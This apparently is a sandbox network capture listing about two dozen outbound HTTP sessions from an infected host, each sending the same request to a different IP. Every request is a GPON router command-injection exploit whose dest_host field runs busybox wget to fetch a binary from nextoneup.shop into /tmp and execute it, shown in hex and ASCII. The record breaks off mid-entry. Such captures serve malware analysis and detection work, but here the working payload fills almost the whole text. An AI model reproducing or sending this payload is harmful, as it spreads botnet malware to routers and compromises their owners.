278	192.168.2.13	52160	5.78.233.13	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.746629000 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
279	192.168.2.13	60800	210.181.176.194	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.746663094 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
280	192.168.2.13	53314	2.193.71.32	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.746686935 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
281	192.168.2.13	47012	202.1.207.16	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.746718884 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
282	192.168.2.13	52528	202.173.78.104	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.746742010 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
283	192.168.2.13	47872	148.12.64.185	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.746803045 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
284	192.168.2.13	40314	123.187.87.82	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.746824026 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
285	192.168.2.13	36992	210.75.170.24	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.746829033 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
286	192.168.2.13	58264	109.20.253.145	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.746864080 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
287	192.168.2.13	36260	212.163.80.70	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.746864080 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
288	192.168.2.13	40386	148.92.145.180	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.746901989 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
289	192.168.2.13	38966	42.143.41.88	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.746923923 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
290	192.168.2.13	33000	94.81.112.38	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.746975899 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
291	192.168.2.13	50162	118.34.51.37	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747011900 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
292	192.168.2.13	49988	94.20.92.156	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747040033 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
293	192.168.2.13	41654	148.11.59.102	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747065067 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
294	192.168.2.13	41742	94.46.60.47	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747123003 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
295	192.168.2.13	36872	178.127.156.121	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747133017 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
296	192.168.2.13	58960	37.128.169.82	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747183084 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
297	192.168.2.13	45342	212.64.120.54	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747216940 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
298	192.168.2.13	33828	79.75.193.208	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747246981 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
299	192.168.2.13	58482	94.91.117.90	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747296095 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
300	192.168.2.13	46766	2.205.240.13	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747332096 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
301	192.168.2.13	34502	148.174.226.98	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747334957 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
302	192.168.2.13	58326	118.253.135.122	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747355938 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
303	192.168.2.13	40404	178.211.115.0	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:50.747364998 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: 